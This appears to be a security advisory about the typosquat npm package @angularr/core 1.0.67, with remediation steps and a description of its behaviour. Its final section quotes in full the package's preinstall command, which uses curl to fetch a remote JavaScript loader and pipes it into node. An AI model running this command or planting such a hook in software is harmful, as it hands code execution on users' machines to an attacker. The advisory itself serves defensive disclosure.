Which versions of @angularr/core are malicious?

The following npm versions of @angularr/core are flagged malicious: 1.0.67. Treat any of these as compromised.

How do I remediate @angularr/core if I installed it?

@angularr/core is a typosquat — you almost certainly intended a legitimately-named package. Remove @angularr/core, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

I already installed @angularr/core — how do I know if it already compromised me?

If @angularr/core was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is @angularr/core part of a known attack campaign?

Yes — @angularr/core is associated with the IN-MAL-2026-020907 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find @angularr/core across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for @angularr/core (version 1.0.67).

npm uninstall @angularr/core

What this malware does

@angularr/[email protected] impersonates @angular/core (by name only; its code is an unrelated library described as "Core Libs") and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account angularr published @angularr/core and 5 similar packages on 2026-10-03 between 06:33 and 07:23 UTC, all with the same preinstall script.

The package's npm preinstall lifecycle script runs curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, fetching a JavaScript payload from a third-party host and piping it directly to node for execution on every npm install. The destination (gitflic.ru under a user path hellscripter/install-scripts, routed via a web.archive.org proxy) is unrelated to any @angular publisher infrastructure, is unpinned, and is not integrity-checked. Whoever controls that path controls code execution on the installer's host. The package name @angularr/core is a one-letter variant of the widely-used @angular/core, increasing the likelihood of accidental installation.
